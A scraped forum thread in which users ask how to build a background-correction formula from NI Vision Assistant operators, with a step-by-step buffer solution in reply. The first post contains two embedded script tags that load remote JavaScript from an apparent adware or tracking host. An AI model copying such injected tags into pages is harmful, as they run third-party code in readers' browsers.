Machine Vision

cancel
Showing results for 
Search instead for 
Did you mean: 

Vision assistant operator

I get a picture "test1" and I expect to multiply a constant = 255/(255-average
background) to deal with this image in the Vision assistant.


I can use "Operators" to get the constant "255", "divide", "average
background".

However, I have no idea how to put the order of "Operators" in the Vision
assistant to become "multiply a constant = 255/(255-average background)" ?

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
Download All
0 Kudos
Message 1 of 3
(3,434 Views)

Hi,

 

You're right... this can be done, but this is convoluted. We need to improve the Operators step to make this easier to do.

Here is an example, written in Vision Assistant 2012, that shows one possible solution. You need to use image buffers.

Here is the list of operations I did to obtain the wanted result:

 

Extract Luminance Plane (as your original image was color).

Convert to Float (so you don't loose data when we multiply)

Store resulting image in Buffer #1

Load Background Image (Get Image Step)

Extract Luminance plane.

Convert to Float (so you don't loose data when we multiply)

Subtract 255.

Store Resulting image in Buffer #2

Retrieve Original Image (buffer #1)

Multiply by (-255).

Divide by Buffer #2

Convert Result to 8-bit

 

Hope this helps.

 

Best regards,

 

Christophe

Message 2 of 3
(3,409 Views)

 

Hi,

 

My processing is similar to what was described by the OP, and I found this advice very helpful.  An additional challenge for me is that I do not have a background image to subtract, instead, I would like to subtract the optical black that is represented by a few columns of pixels on the border of the image.

 

My approach was to establish an ROI around the optical black pixels, find the average RGB values within that ROI, and then subtract the averages from the image.  However, I'm finding that the Subtract operator allows only image subtraction, or constant subtraction.  It does not seem to support subtracting a numeric variable.  I looked at subtracting both in the full color image or also by breaking out each color plane and substracting in greyscale.

 

Is there a way that I can do this, perhaps by constructing an artifical background image with all pixels set to the same level?

 

Thanks,

Jason

0 Kudos
Message 3 of 3
(3,369 Views)